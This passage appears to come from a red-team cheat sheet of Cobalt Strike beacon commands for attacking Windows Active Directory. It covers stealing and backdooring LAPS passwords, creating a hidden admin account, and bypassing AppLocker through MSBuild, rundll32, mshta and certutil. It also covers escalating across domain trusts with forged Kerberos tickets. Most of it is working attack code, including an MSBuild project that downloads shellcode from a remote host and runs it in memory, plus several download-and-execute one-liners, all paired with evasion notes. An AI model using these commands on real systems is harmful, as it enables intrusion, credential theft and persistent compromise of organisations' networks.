# ===== ENUMERATE LAPS SETTINGS VIA REGISTRY =====
# Check local LAPS configuration (if on LAPS-managed machine)
beacon> shell reg query "HKLM\SOFTWARE\Policies\Microsoft Services\AdmPwd" /s
# ===== OPSEC CONSIDERATIONS =====
# OPSEC Notes:
# - SYSVOL access logged (Event ID 5145)
# - Registry queries create audit events if monitoring enabled
# - LAPS configuration reveals password complexity requirements
LAPS Password Access#
Usage: Identify who can read LAPS passwords and extract them.
# ===== FIND PRINCIPALS WITH LAPS READ PERMISSIONS =====
# Enumerate ACLs for ms-Mcs-AdmPwd attribute
beacon> powerpick Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ObjectAceType -eq "ms-Mcs-AdmPwd" -and $_.ActiveDirectoryRights -match "ReadProperty" } | select ObjectDn,SecurityIdentifier | fl
# Resolve SID to account name
beacon> powerpick ConvertFrom-SID S-1-5-21-569305411-121244042-2357301523-1107
# ===== USE LAPS TOOLKIT FOR ENUMERATION =====
# Import LAPSToolkit
beacon> powershell-import C:\Tools\LAPSToolkit\LAPSToolkit.ps1
# Find groups delegated LAPS read permissions
beacon> powerpick Find-LAPSDelegatedGroups
# Find users with extended LAPS read rights
beacon> powerpick Find-AdmPwdExtendedRights
# Find all computers with LAPS enabled
beacon> powerpick Get-LAPSComputers
# ===== EXTRACT LAPS PASSWORDS =====
# Read LAPS password for specific computer (requires appropriate permissions)
beacon> powerpick Get-DomainComputer -Identity wkstn-01 -Properties ms-Mcs-AdmPwd
# Read LAPS password with expiration time
beacon> powerpick Get-DomainComputer -Identity wkstn-01 -Properties ms-Mcs-AdmPwd,ms-Mcs-AdmPwdExpirationTime | fl
# Read all accessible LAPS passwords
beacon> powerpick Get-DomainComputer -Properties ms-Mcs-AdmPwd,ms-Mcs-AdmPwdExpirationTime | ? { $_."ms-Mcs-AdmPwd" -ne $null } | select dnshostname,ms-Mcs-AdmPwd,ms-Mcs-AdmPwdExpirationTime | fl
# Alternative: Use LAPS cmdlets (if installed)
beacon> powerpick Get-AdmPwdPassword -ComputerName wkstn-01
# ===== USE EXTRACTED CREDENTIALS =====
# Create token with LAPS credentials
beacon> make_token .\LapsAdmin <password>
# Verify access
beacon> ls \\wkstn-01\C$
# Alternative: Pass-the-hash if NTLM hash needed
# Use extracted password to create hash offline, then use pth command
# Cleanup
beacon> rev2self
# ===== OPSEC CONSIDERATIONS =====
# OPSEC Notes:
# - LAPS password reads logged (Event ID 4662 with ms-Mcs-AdmPwd access)
# - Microsoft ATA/MDI detects mass LAPS password retrieval
# - Read passwords for specific targets only (not all computers)
# - LAPS passwords rotate (typically 30 days)
# - Failed authentication attempts logged per computer
LAPS Backdoors & Persistence#
Usage: Maintain access despite LAPS password rotation.
# ===== METHOD 1: EXTEND PASSWORD EXPIRATION =====
# Requires write access to ms-Mcs-AdmPwdExpirationTime attribute
# Get current expiration time
beacon> powerpick Get-DomainComputer -Identity wkstn-01 -Properties ms-Mcs-AdmPwdExpirationTime
# Set far future expiration (e.g., year 2099)
# 136257686710000000 = DateTime for year 2099
beacon> powerpick Set-DomainObject -Identity wkstn-01 -Set @{'ms-Mcs-AdmPwdExpirationTime' = '136257686710000000'} -Verbose
# Verify change
beacon> powerpick Get-DomainComputer -Identity wkstn-01 -Properties ms-Mcs-AdmPwdExpirationTime
# ===== METHOD 2: REMOVE ms-Mcs-AdmPwdExpirationTime =====
# Clear expiration time (password won't rotate)
beacon> powerpick Set-DomainObject -Identity wkstn-01 -Clear ms-Mcs-AdmPwdExpirationTime -Verbose
# ===== METHOD 3: LAPS DLL BACKDOOR =====
# Backdoor LAPS PowerShell module to log passwords when viewed
# Requires write access to LAPS installation directory
# Backup original DLL
beacon> cd "C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AdmPwd.PS"
beacon> download AdmPwd.PS.dll
# Replace with backdoored DLL that logs passwords to file/network
# (Requires custom DLL development)
beacon> upload C:\Backdoored\AdmPwd.PS.dll
# When admin reads LAPS password, it's also logged for attacker
# ===== METHOD 4: LAPS GPO MODIFICATION =====
# Modify LAPS GPO to disable LAPS or change settings
# Requires write access to LAPS GPO
# Disable LAPS via registry
beacon> powerpick Set-GPPrefRegistryValue -Name "LAPS Policy" -Context Computer -Action Update -Key "HKLM\SOFTWARE\Policies\Microsoft Services\AdmPwd" -ValueName "AdmPwdEnabled" -Value 0 -Type DWord
# ===== METHOD 5: ALTERNATIVE LOCAL ADMIN ACCOUNT =====
# Create hidden local admin account (not managed by LAPS)
beacon> shell net user BackupAdmin P@ssw0rd123! /add
beacon> shell net localgroup Administrators BackupAdmin /add
beacon> shell reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v BackupAdmin /t REG_DWORD /d 0 /f
# Account hidden from login screen and net user
# ===== CLEANUP (RESTORE LAPS) =====
# Restore original expiration time
beacon> powerpick Set-DomainObject -Identity wkstn-01 -Set @{'ms-Mcs-AdmPwdExpirationTime' = '133776000000000000'} -Verbose
# Remove backdoored DLL
beacon> cd "C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AdmPwd.PS"
beacon> upload C:\Original\AdmPwd.PS.dll
# ===== OPSEC CONSIDERATIONS =====
# OPSEC Notes:
# - LAPS attribute modifications logged (Event ID 5136)
# - DLL modification requires SYSTEM and may trigger file integrity monitoring
# - Hidden accounts detectable with proper enumeration
# - LAPS backdoors provide long-term access
# - Consider risk vs. reward (high-value targets only)
# - GPO modifications visible to administrators
Application Whitelisting Bypass (AppLocker)#
AppLocker Policy Enumeration#
Usage: Discover AppLocker restrictions and identify bypass opportunities.
# ===== ENUMERATE APPLOCKER POLICY VIA GPO =====
# Find AppLocker GPO
beacon> powerpick Get-DomainGPO -Domain corp.local | ? { $_.DisplayName -like "*AppLocker*" } | select displayname,gpcfilesyspath
# Download AppLocker policy file
beacon> download \\corp.local\SysVol\corp.local\Policies\{7E1E1636-1A59-4C35-895B-3AEB1CA8CFC2}\Machine\Registry.pol
# Parse policy file on attack machine
PS C:\> Import-Module .\Parse-PolFile.ps1
PS C:\> Parse-PolFile .\Registry.pol
# ===== CHECK LOCAL APPLOCKER POLICY =====
# Check if AppLocker is running
beacon> shell sc query appidsvc
# Query AppLocker registry keys
beacon> powerpick Get-ChildItem "HKLM:\Software\Policies\Microsoft\Windows\SrpV2"
# Get executable rules
beacon> powerpick Get-ChildItem "HKLM:\Software\Policies\Microsoft\Windows\SrpV2\Exe"
# Get script rules
beacon> powerpick Get-ChildItem "HKLM:\Software\Policies\Microsoft\Windows\SrpV2\Script"
# Get DLL rules (if enforced)
beacon> powerpick Get-ChildItem "HKLM:\Software\Policies\Microsoft\Windows\SrpV2\Dll"
# ===== CHECK POWERSHELL EXECUTION POLICY =====
# Check language mode (ConstrainedLanguage if AppLocker enforced)
beacon> powershell $ExecutionContext.SessionState.LanguageMode
# Check execution policy
beacon> powershell Get-ExecutionPolicy
# ===== ENUMERATE ALLOWED PATHS =====
# AppLocker typically allows:
# - C:\Windows\* (all users)
# - C:\Program Files\* (all users)
# - %USERPROFILE%\AppData\Local\* (user-specific)
# Test writable locations
beacon> powerpick Get-ChildItem "C:\Windows" -Recurse -ErrorAction SilentlyContinue | ? { (Get-Acl $_.FullName).Access | ? { $_.IdentityReference -match "Users" -and $_.FileSystemRights -match "Write" } }
# ===== OPSEC CONSIDERATIONS =====
# OPSEC Notes:
# - AppLocker bypass attempts may be logged (Event ID 8003, 8004, 8006, 8007)
# - Failed execution attempts in Event Viewer > Microsoft > Windows > AppLocker
# - Test bypasses in non-production environment first
AppLocker Bypass Techniques#
Writable Windows Directories#
Usage: Identify and use writable locations within allowed paths.
# ===== COMMON WRITABLE WINDOWS DIRECTORIES =====
# C:\Windows\Tasks (often writable)
beacon> powerpick Get-Acl C:\Windows\Tasks | fl
# C:\Windows\Temp (usually writable)
beacon> powerpick Get-Acl C:\Windows\Temp | fl
# C:\Windows\tracing (often overlooked)
beacon> powerpick Get-Acl C:\Windows\tracing | fl
# C:\Windows\Registration\CRMLog (rare but possible)
beacon> powerpick Get-Acl C:\Windows\Registration\CRMLog | fl
# C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys (sometimes writable)
beacon> powerpick Get-Acl C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys | fl
# C:\Windows\System32\spool\drivers\color (often writable)
beacon> powerpick Get-Acl C:\Windows\System32\spool\drivers\color | fl
# ===== UPLOAD AND EXECUTE FROM WRITABLE LOCATION =====
# Upload payload to writable Windows directory
beacon> cd C:\Windows\Tasks
beacon> upload C:\Payloads\beacon.exe
beacon> mv beacon.exe legit.exe
# Execute
beacon> shell C:\Windows\Tasks\legit.exe
# ===== OPSEC NOTES =====
# OPSEC: PSExec and similar tools use C:\Windows (whitelisted by default)
# Service binaries placed in C:\Windows bypass most AppLocker policies
LOLBAS - MSBuild#
Usage: Use MSBuild.exe to execute C# code and bypass AppLocker.
<!-- ===== CREATE MALICIOUS CSPROJ FILE ===== -->
<!-- Save as payload.csproj -->
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="MSBuild">
<MSBuildPayload/>
</Target>
<UsingTask
TaskName="MSBuildPayload"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Net;
using System.Runtime.InteropServices;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class MSBuildPayload : Task, ITask
{
public override bool Execute()
{
byte[] shellcode;
using (var client = new WebClient())
{
client.BaseAddress = "http://10.10.5.50";
shellcode = client.DownloadData("/beacon.bin");
}
var hKernel = LoadLibrary("kernel32.dll");
var hVa = GetProcAddress(hKernel, "VirtualAlloc");
var hCt = GetProcAddress(hKernel, "CreateThread");
var hWfso = GetProcAddress(hKernel, "WaitForSingleObject");
var va = Marshal.GetDelegateForFunctionPointer<AllocateVirtualMemory>(hVa);
var ct = Marshal.GetDelegateForFunctionPointer<CreateThread>(hCt);
var wfso = Marshal.GetDelegateForFunctionPointer<WaitForSingleObject>(hWfso);
var hMemory = va(IntPtr.Zero, (uint)shellcode.Length, 0x00001000 | 0x00002000, 0x40);
Marshal.Copy(shellcode, 0, hMemory, shellcode.Length);
var t = ct(IntPtr.Zero, 0, hMemory, IntPtr.Zero, 0, IntPtr.Zero);
wfso(t, 0xFFFFFFFF);
return true;
}
[DllImport("kernel32", CharSet = CharSet.Ansi)]
private static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)]string lpFileName);
[DllImport("kernel32", CharSet = CharSet.Ansi)]
private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
private delegate IntPtr AllocateVirtualMemory(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
private delegate IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
private delegate uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
# ===== HOST SHELLCODE =====
# Host beacon shellcode via Cobalt Strike
# Site Management > Host File > beacon.bin
# ===== UPLOAD CSPROJ FILE =====
beacon> upload C:\Payloads\payload.csproj
beacon> cd C:\Users\Public
# ===== EXECUTE VIA MSBUILD =====
# 64-bit MSBuild
beacon> shell C:\Windows\Microsoft.Net\Framework64\v4.0.30319\MSBuild.exe C:\Users\Public\payload.csproj
# 32-bit MSBuild (if needed)
beacon> shell C:\Windows\Microsoft.Net\Framework\v4.0.30319\MSBuild.exe C:\Users\Public\payload.csproj
# ===== CLEANUP =====
beacon> shell del C:\Users\Public\payload.csproj
# ===== OPSEC CONSIDERATIONS =====
# OPSEC Notes:
# - MSBuild.exe is legitimate Microsoft tool (signed binary)
# - Commonly used in build environments
# - Creates network connection (monitor egress)
# - .csproj files may be logged by EDR
# - Consider using Donut or other shellcode loaders
PowerShell Constrained Language Mode Bypass#
Usage: Bypass PowerShell restrictions using unmanaged runspaces.
# ===== CHECK CURRENT LANGUAGE MODE =====
beacon> powershell $ExecutionContext.SessionState.LanguageMode
# Output: ConstrainedLanguage
# ===== METHOD 1: USE POWERPICK (UNMANAGED RUNSPACE) =====
# powerpick bypasses ConstrainedLanguage mode
beacon> powerpick $ExecutionContext.SessionState.LanguageMode
# Output: FullLanguage
# Execute commands in FullLanguage mode
beacon> powerpick IEX(New-Object Net.WebClient).DownloadString('http://10.10.5.50/payload.ps1')
# ===== METHOD 2: EXECUTE-ASSEMBLY (.NET BYPASS) =====
# .NET assemblies bypass PowerShell restrictions entirely
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe klist
# ===== METHOD 3: DOWNGRADE POWERSHELL VERSION =====
# PowerShell v2 doesn't support ConstrainedLanguage mode
beacon> shell powershell -Version 2 -Command "$ExecutionContext.SessionState.LanguageMode"
# Execute payload in PowerShell v2
beacon> shell powershell -Version 2 -Command "IEX(New-Object Net.WebClient).DownloadString('http://10.10.5.50/payload.ps1')"
# ===== METHOD 4: APPLOCKER BYPASS VIA INSTALLUTIL =====
# Create malicious .NET assembly that executes in unload event
# Execute with InstallUtil.exe (whitelisted)
beacon> shell C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Users\Public\payload.exe
# ===== METHOD 5: USE CUSTOM RUNSPACE =====
# Create custom PowerShell runspace without restrictions
beacon> powerpick $rs = [runspacefactory]::CreateRunspace(); $rs.Open(); $rs.SessionStateProxy.LanguageMode
# ===== OPSEC CONSIDERATIONS =====
# OPSEC Notes:
# - PowerShell v2 usage is VERY suspicious (logged in Event ID 400)
# - Modern systems may have PowerShell v2 removed
# - powerpick generates less telemetry than standard powershell command
# - execute-assembly bypasses PowerShell entirely (stealthiest)
# - InstallUtil.exe execution logged (Sysmon Event ID 1)
DLL Execution Bypass#
Usage: Execute beacon DLLs to bypass AppLocker executable restrictions.
# ===== APPLOCKER TYPICALLY DOESN'T RESTRICT DLLS =====
# DLL rules are rarely enforced (performance impact)
# Check if DLL rules exist
beacon> powerpick Get-ChildItem "HKLM:\Software\Policies\Microsoft\Windows\SrpV2\Dll" -ErrorAction SilentlyContinue
# ===== METHOD 1: RUNDLL32 EXECUTION =====
# Upload beacon DLL
beacon> upload C:\Payloads\http_x64.dll
beacon> cd C:\Users\Public
# Execute DLL with rundll32
beacon> shell C:\Windows\System32\rundll32.exe C:\Users\Public\http_x64.dll,StartW
# Alternative export function
beacon> shell C:\Windows\System32\rundll32.exe http_x64.dll,DllMain
# ===== METHOD 2: REGSVR32 EXECUTION =====
# Execute DLL with regsvr32
beacon> shell C:\Windows\System32\regsvr32.exe /s C:\Users\Public\http_x64.dll
# ===== METHOD 3: ODBCCONF EXECUTION =====
# Execute DLL via odbcconf.exe
beacon> shell C:\Windows\System32\odbcconf.exe /a {REGSVR C:\Users\Public\http_x64.dll}
# ===== METHOD 4: DLL SIDE-LOADING =====
# Place malicious DLL next to legitimate executable
# DLL must have same name as legitimate DLL loaded by EXE
# Example: winword.exe loads wwlib.dll
beacon> cd "C:\Program Files\Microsoft Office\Office16"
beacon> upload C:\Payloads\wwlib.dll
# Execute Word (loads malicious DLL)
beacon> shell "C:\Program Files\Microsoft Office\Office16\winword.exe"
# ===== METHOD 5: DLL HIJACKING VIA SEARCH ORDER =====
# Place DLL in user-writable location earlier in search order
# Windows DLL search order:
# 1. Application directory
# 2. System32
# 3. System
# 4. Windows directory
# 5. Current directory
# 6. PATH directories
# ===== CLEANUP =====
beacon> shell del C:\Users\Public\http_x64.dll
# ===== OPSEC CONSIDERATIONS =====
# OPSEC Notes:
# - rundll32.exe is legitimate (often whitelisted)
# - DLL execution logged (Sysmon Event ID 7 - ImageLoad)
# - regsvr32.exe commonly used for COM registration
# - DLL side-loading very stealthy (uses legitimate process)
# - Ensure DLL exports match expected functions (avoid crashes)
# - Modern EDR monitors rundll32 spawning suspicious child processes
Alternative LOLBAS Techniques#
Usage: Use other Living Off The Land Binaries for AppLocker bypass.
# ===== REGSVCS/REGASM (.NET EXECUTION) =====
# Execute .NET assembly via regsvcs/regasm
beacon> shell C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe C:\Users\Public\payload.exe
beacon> shell C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe C:\Users\Public\payload.exe
# ===== MSHTA (HTML APPLICATION) =====
# Create malicious HTA file
beacon> shell echo ^<script language="VBScript"^>CreateObject("WScript.Shell").Run "powershell -NoP -Enc <BASE64>"^</script^> > C:\Users\Public\payload.hta
# Execute HTA
beacon> shell C:\Windows\System32\mshta.exe C:\Users\Public\payload.hta
# Alternative: Remote HTA execution
beacon> shell C:\Windows\System32\mshta.exe http://10.10.5.50/payload.hta
# ===== WMIC (XSL SCRIPT EXECUTION) =====
# Create malicious XSL file with embedded script
# Execute via WMIC
beacon> shell wmic process get brief /format:"http://10.10.5.50/payload.xsl"
# ===== CERTUTIL (DOWNLOAD AND EXECUTE) =====
# Download payload with certutil
beacon> shell certutil -urlcache -f http://10.10.5.50/beacon.exe C:\Users\Public\update.exe
# Execute (if .exe allowed in user profile)
beacon> shell C:\Users\Public\update.exe
# ===== BITSADMIN (DOWNLOAD) =====
# Download payload with bitsadmin
beacon> shell bitsadmin /transfer mydownload /download /priority high http://10.10.5.50/beacon.exe C:\Users\Public\beacon.exe
# ===== FORFILES (INDIRECT EXECUTION) =====
# Execute command via forfiles
beacon> shell forfiles /p c:\windows\system32 /m cmd.exe /c "powershell -NoP -Enc <BASE64>"
# ===== REPLACE (FILE COPY) =====
# Copy files with replace.exe
beacon> shell replace.exe C:\Source\beacon.exe C:\Windows\Tasks
# ===== PCALUA (PROGRAM COMPATIBILITY ASSISTANT) =====
# Execute via Program Compatibility Assistant
beacon> shell pcalua.exe -a C:\Users\Public\payload.exe
# ===== MAVINJECT (DLL INJECTION) =====
# Inject DLL into process (Windows 10+)
beacon> shell mavinject.exe <pid> /INJECTRUNNING C:\Users\Public\payload.dll
# ===== CLEANUP =====
beacon> shell del C:\Users\Public\payload.*
# ===== OPSEC CONSIDERATIONS =====
# OPSEC Notes:
# - LOLBAS techniques use legitimate Windows binaries
# - Each technique logged differently (check Sysmon for specific Event IDs)
# - mshta.exe often monitored (spawning child processes suspicious)
# - certutil/bitsadmin download activity logged
# - Test bypasses in isolated environment first
# - Combine techniques for defense-in-depth bypass
# - Reference: https://lolbas-project.github.io/
Forest & Domain Trusts#
Trust Enumeration#
Usage: Discover trust relationships between domains and forests.
# ===== ENUMERATE DOMAIN TRUSTS =====
# Get trusts for current domain
beacon> powerpick Get-DomainTrust
# Get trusts for specific domain
beacon> powerpick Get-DomainTrust -Domain corp.local
# Get detailed trust information
beacon> powerpick Get-DomainTrust | select SourceName,TargetName,TrustType,TrustDirection,TrustAttributes | fl
# Alternative: Using nltest
beacon> shell nltest /domain_trusts
beacon> shell nltest /trusted_domains
# ===== ENUMERATE FOREST TRUSTS =====
# Get forest trusts
beacon> powerpick Get-ForestTrust
# Get trusts for specific forest
beacon> powerpick Get-ForestTrust -Forest corp.local
# ===== ENUMERATE FOREIGN USERS/GROUPS =====
# Find foreign users (from trusted domains)
beacon> powerpick Get-DomainForeignUser | select samaccountname,distinguishedname
# Find foreign group members
beacon> powerpick Get-DomainForeignGroupMember | select GroupDomain,GroupName,MemberDomain,MemberName
# Find foreign group members in specific domain
beacon> powerpick Get-DomainForeignGroupMember -Domain external.local
# ===== TRUST TYPES =====
# Trust types:
# - ParentChild (2): Parent-child domain relationship
# - TreeRoot (0): Same forest, different tree
# - External (2): Between forests (non-transitive)
# - Forest (2): Between forests (transitive)
# - Kerberos (3): Non-Windows Kerberos realm
# - Unknown (4): Unknown trust type
# Trust directions:
# - Disabled (0): Trust disabled
# - Inbound (1): Trusted domain trusts this domain
# - Outbound (2): This domain trusts trusted domain
# - Bidirectional (3): Two-way trust
# ===== OPSEC CONSIDERATIONS =====
# OPSEC Notes:
# - Trust enumeration queries LDAP (Event ID 4662)
# - nltest commands are native and less suspicious
# - Focus on high-value trust relationships
# - Bidirectional trusts allow lateral movement both ways
Child to Parent Domain Privilege Escalation#
Usage: Escalate from child domain to parent domain using SID history injection.
# ===== PREREQUISITE: COMPROMISE CHILD DOMAIN =====
# Assume we've compromised dev.corp.local (child domain)
# Need krbtgt hash from child domain
# DCSync child domain krbtgt
beacon> dcsync dev.corp.local DEV\krbtgt
# ===== GATHER PARENT DOMAIN INFORMATION =====
# Get parent domain SID
beacon> powerpick Get-DomainSID -Domain corp.local
# Get parent Domain Admins group SID (append -512)
# Example: S-1-5-21-2594061375-675613155-814674916-512
# Enumerate parent domain controllers
beacon> powerpick Get-DomainController -Domain corp.local | select Name,IPAddress
# Get parent Domain Admins members (reconnaissance)
beacon> powerpick Get-DomainGroupMember -Identity "Domain Admins" -Domain corp.local | select MemberName
# ===== OPTION A: GOLDEN TICKET WITH SID HISTORY =====
# Create golden ticket with parent domain SID in SID history
PS C:\> C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe golden /aes256:<child_krbtgt_aes256> /user:Administrator /domain:dev.corp.local /sid:S-1-5-21-569305411-121244042-2357301523 /sids:S-1-5-21-2594061375-675613155-814674916-512 /nowrap
# The /sids parameter injects parent Enterprise Admins SID into ticket
# ===== OPTION B: DIAMOND TICKET WITH SID HISTORY =====
# Create diamond ticket with parent domain privileges
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:519 /sids:S-1-5-21-2594061375-675613155-814674916-519 /krbkey:<child_krbtgt_aes256> /nowrap
# SID 519 = Enterprise Admins (forest-wide)
# SID 512 = Domain Admins (domain-specific)
# ===== INJECT TICKET AND ACCESS PARENT DOMAIN =====
# Create logon session with ticket
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:CORP /username:Administrator /password:FakePass /ticket:doIFLz[...]MuaW8=
# Steal token
beacon> steal_token <pid>
# Verify access to parent domain
beacon> ls \\dc01.corp.local\C$
# Lateral movement to parent DC
beacon> jump psexec64 dc01.corp.local smb_listener
# DCSync parent domain
beacon> dcsync corp.local CORP\krbtgt
beacon> dcsync corp.local CORP\Administrator
# Cleanup
beacon> rev2self
# ===== OPSEC CONSIDERATIONS =====
# OPSEC Notes:
# - SID history abuse is well-known attack (often monitored)
# - SID filtering can block attack (disabled by default for parent-child)
# - Event ID 4765 (SID history added) if done via attribute modification
# - Forged tickets don't generate SID history events
# - Parent domain access generates cross-domain authentication events
# - Enterprise Admin access is heavily monitored
# - Use diamond tickets for better OPSEC (more legitimate structure)
Exploiting Inbound Trusts#
Usage: Abuse inbound trusts where foreign domain users have privileges.
# ===== PREREQUISITE: IDENTIFY INBOUND TRUST =====
# Enumerate trusts from current domain
beacon> powerpick Get-DomainTrust
# Look for Inbound (1) or Bidirectional (3) trusts
# Inbound: Foreign domain users may have access to our domain
# ===== ENUMERATE FOREIGN USERS WITH PRIVILEGES =====
# Find foreign domain users/groups with access
beacon> powerpick Get-DomainForeignGroupMember -Domain external.local
# Example output:
# GroupDomain: dev.corp.local
# GroupName: IT Admins
# MemberDomain: external.local
# MemberName: external-admin
# Get details of foreign principal
beacon> powerpick ConvertFrom-SID S-1-5-21-3623811015-3361044348-30300820-1120
# Enumerate group membership
beacon> powerpick Get-DomainGroupMember -Identity "IT Admins" | select MemberName
# ===== ENUMERATE FOREIGN DOMAIN STRUCTURE =====
# Get computers in foreign domain
beacon> powerpick Get-DomainComputer -Domain external.local -Properties DnsHostName
# Get domain controller in foreign domain
beacon> powerpick Get-DomainController -Domain external.local | select Name,IPAddress
# ===== EXTRACT CREDENTIALS FOR FOREIGN USER =====
# If we compromised user with foreign domain access
# DCSync the user from our domain
beacon> dcsync dev.corp.local DEV\external-admin
# Alternative: Extract from LSASS if user logged in
beacon> logonpasswords
# ===== REQUEST INTER-REALM TGT =====
# Request TGT for user in our domain
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:external-admin /domain:dev.corp.local /aes256:<aes256_key> /nowrap
# ===== REQUEST REFERRAL TICKET TO FOREIGN DOMAIN =====
# Request inter-realm TGT (referral ticket)
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgs /service:krbtgt/external.local /domain:dev.corp.local /dc:dc01.dev.corp.local /ticket:doIFwj[...]MuaW8= /nowrap
# ===== REQUEST SERVICE TICKET IN FOREIGN DOMAIN =====
# Request service ticket in foreign domain
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgs /service:cifs/dc01.external.local /domain:external.local /dc:dc01.external.local /ticket:doIFoz[...]NPTQ== /nowrap
# ===== ACCESS FOREIGN DOMAIN RESOURCES =====
# Create logon session with service ticket
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:EXTERNAL /username:external-admin /password:FakePass /ticket:doIFLz[...]MuaW8=
beacon> steal_token <pid>
# Verify access
beacon> ls \\dc01.external.local\C$
# Lateral movement to foreign domain
beacon> jump psexec64 dc01.external.local smb_listener
# Cleanup
beacon> rev2self
# ===== OPSEC CONSIDERATIONS =====
# OPSEC Notes:
# - Cross-domain authentication logged in both domains
# - Event ID 4768 (TGT request) in source domain
# - Event ID 4769 (TGS request) in target domain
# - Event ID 4624 (logon type 3) in target domain
# - Trust relationships often monitored by SOC
# - Use legitimate admin accounts when possible
Exploiting Outbound Trusts#
Usage: Abuse outbound trusts by extracting shared trust keys.
# ===== PREREQUISITE: IDENTIFY OUTBOUND TRUST =====
# Enumerate trusts
beacon> powerpick Get-DomainTrust -Domain corp.local
# Look for Outbound (2) or Bidirectional (3) trusts
# Outbound: Our domain trusts foreign domain
# ===== IDENTIFY TRUSTED DOMAIN OBJECT (TDO) =====
# TDOs store trust passwords
beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(objectCategory=trustedDomain)" --domain corp.local --attributes distinguishedName,name,flatName,trustDirection
# Example output:
# name: msp.org
# flatName: MSP
# trustDirection: 2 (Outbound)
# ===== EXTRACT TRUST KEY FROM DC =====
# Method 1: Extract trust key using Mimikatz (on DC)
beacon> run hostname
beacon> mimikatz lsadump::trust /patch
# Output includes trust key (RC4/AES)
# Method 2: DCSync for TDO (remote extraction)
# Get TDO GUID
beacon> powerpick Get-DomainObject -Identity "CN=msp.org,CN=System,DC=corp,DC=local" | select objectGuid
# DCSync using GUID
beacon> mimikatz @lsadump::dcsync /domain:corp.local /guid:{b93d2e36-48df-46bf-89d5-2fc22c139b43}
# Output includes trust password
# ===== ENUMERATE FOREIGN DOMAIN STRUCTURE =====
# Enumerate users in foreign domain (if accessible)
beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(objectCategory=user)" --domain msp.org
# Get domain SID
beacon> powerpick Get-DomainSID -Domain msp.org
# ===== FORGE INTER-REALM TGT =====
# Use trust key to impersonate trust account in foreign domain
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:CORP$ /domain:msp.org /rc4:<trust_key_rc4> /nowrap
# CORP$ is the trust account name (source domain name + $)
# ===== ACCESS FOREIGN DOMAIN =====
# Create logon session with trust account ticket
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:MSP /username:CORP$ /password:FakePass /ticket:doIFLz[...]MuaW8=
beacon> steal_token <pid>
# Query foreign domain
beacon> powerpick Get-Domain -Domain msp.org
# Access resources (limited to trust account permissions)
beacon> ls \\dc01.msp.org\C$
# ===== ABUSE TRUST FOR RECONNAISSANCE =====
# Trust account typically has limited privileges
# Use for reconnaissance, not direct compromise
# Look for misconfigurations (trust account with excessive rights)
# Cleanup
beacon> rev2self
# ===== OPSEC CONSIDERATIONS =====
# OPSEC Notes:
# - Trust key extraction requires DC access (DA/EA privileges)
# - Trust account usage logged in foreign domain
# - Trust accounts typically have minimal privileges
# - Useful for reconnaissance and finding misconfigurations
# - Trust password changes are VERY rare (manual process)
# - Event ID 4768 in foreign domain (TGT request from trust account)